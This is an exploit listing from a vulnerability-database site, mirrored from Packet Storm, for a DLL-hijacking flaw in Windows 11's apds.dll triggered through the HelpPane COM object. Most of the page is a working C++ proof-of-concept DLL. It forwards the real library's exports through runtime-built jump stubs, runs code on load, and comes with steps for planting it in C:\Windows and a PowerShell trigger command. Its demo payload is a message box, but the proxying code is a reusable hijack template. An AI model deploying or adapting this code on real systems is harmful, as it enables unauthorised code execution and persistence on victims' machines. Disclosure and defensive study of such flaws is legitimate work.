Lucene search
K

Microsoft Windows 11 apds.dll DLL Hijacking

🗓️ 10 Oct 2023 00:00:00Reported by Moein ShahabiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 286 Views

Microsoft Windows 11 'apds.dll' DLL hijacking vulnerabilit

Code
`#---------------------------------------------------------  
# Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)  
# Date: 2023-09-01  
# Author: Moein Shahabi  
# Vendor: https://www.microsoft.com  
# Version: Windows 11 Pro 10.0.22621  
# Tested on: Windows 11_x64 [eng]  
  
#---------------------------------------------------------  
  
  
Description:  
  
HelpPane object allows us to force Windows 11 to DLL hijacking   
  
Instructions:  
  
1. Compile dll  
2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory   
3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))"  
4. Boom DLL Hijacked!  
  
  
------Code_Poc-------  
#pragma once  
#include <Windows.h>  
  
  
  
// Function executed when the thread starts  
extern "C" __declspec(dllexport)  
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {  
MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);  
return 0;  
}  
  
PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {  
#ifdef _WIN64  
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;  
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);  
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;  
  
// Create some breathing room  
baseAddress = baseAddress + optionalHeader->SizeOfImage;  
  
for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {  
PBYTE usuable = (PBYTE)VirtualAlloc(  
offset,  
size,  
MEM_RESERVE | MEM_COMMIT,  
protection);  
  
if (usuable) {  
ZeroMemory(usuable, size); // Not sure if this is required  
return usuable;  
}  
}  
#else  
// x86 doesn't matter where we allocate  
  
PBYTE usuable = (PBYTE)VirtualAlloc(  
NULL,  
size,  
MEM_RESERVE | MEM_COMMIT,  
protection);  
  
if (usuable) {  
ZeroMemory(usuable, size);  
return usuable;  
}  
#endif  
return 0;  
}  
  
BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase)  
{  
#ifdef _WIN64  
BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax <Addr>  
BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax  
#else  
BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax <Addr>  
BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax  
#endif  
  
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;  
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);  
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;  
PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];  
if (exportDataDirectory->Size == 0)  
return FALSE; // Nothing to forward  
  
PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);  
  
if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)  
return FALSE; // TODO: Add support for DLLs with mixed ordinals  
  
dosHeader = (PIMAGE_DOS_HEADER)ourBase;  
ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);  
optionalHeader = &ntHeaders->OptionalHeader;  
exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];  
if (exportDataDirectory->Size == 0)  
return FALSE; // Our DLL is broken  
  
PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);  
  
// ----------------------------------  
  
// Make current header data RW for redirections  
DWORD oldProtect = 0;  
if (!VirtualProtect(  
ourExportDirectory,  
64, PAGE_READWRITE,  
&oldProtect)) {  
return FALSE;  
}  
  
DWORD totalAllocationSize = 0;  
  
// Add the size of jumps  
totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));  
  
// Add the size of function table  
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);  
  
// Add total size of names  
PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);  
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)  
totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;  
  
// Add size of name table  
totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);  
  
// Add the size of ordinals:  
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);  
  
// Allocate usuable memory for rebuilt export data  
PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);  
if (!exportData)  
return FALSE;  
  
PBYTE sideAllocation = exportData; // Used for VirtualProtect later  
  
// Copy Function Table  
PINT newFunctionTable = (PINT)exportData;  
CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));  
exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);  
ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);  
  
// Write JMPs and update RVAs in the new function table  
PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);  
for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {  
newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);  
  
CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));  
exportData += sizeof(jmpPrefix);  
  
PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);  
CopyMemory(exportData, &realAddress, sizeof(LPVOID));  
exportData += sizeof(LPVOID);  
  
CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));  
exportData += sizeof(jmpSuffix);  
}  
  
// Copy Name RVA Table  
PINT newNameTable = (PINT)exportData;  
CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));  
exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);  
ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);  
  
// Copy names and apply delta to all the RVAs in the new name table  
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {  
PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);  
DWORD length = (DWORD)strlen((LPCSTR)realAddress);  
CopyMemory(exportData, realAddress, length);  
newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);  
exportData += length + 1;  
}  
  
// Copy Ordinal Table  
PINT newOrdinalTable = (PINT)exportData;  
CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));  
exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);  
ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);  
  
// Set our counts straight  
ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;  
ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;  
  
if (!VirtualProtect(  
ourExportDirectory,  
64, oldProtect,  
&oldProtect)) {  
return FALSE;  
}  
  
if (!VirtualProtect(  
sideAllocation,  
totalAllocationSize,  
PAGE_EXECUTE_READ,  
&oldProtect)) {  
return FALSE;  
}  
  
return TRUE;  
}  
// Executed when the DLL is loaded (traditionally or through reflective injection)  
BOOL APIENTRY DllMain(HMODULE hModule,  
DWORD ul_reason_for_call,  
LPVOID lpReserved  
)  
{  
HMODULE realDLL;  
switch (ul_reason_for_call)  
{  
case DLL_PROCESS_ATTACH:  
CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);  
realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");  
if (realDLL)  
ProxyExports(hModule, realDLL);  
  
  
case DLL_THREAD_ATTACH:  
case DLL_THREAD_DETACH:  
case DLL_PROCESS_DETACH:  
break;  
}  
return TRUE;  
}  
--------------------------  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Oct 2023 00:00Current
7.1High risk
Vulners AI Score7.1
286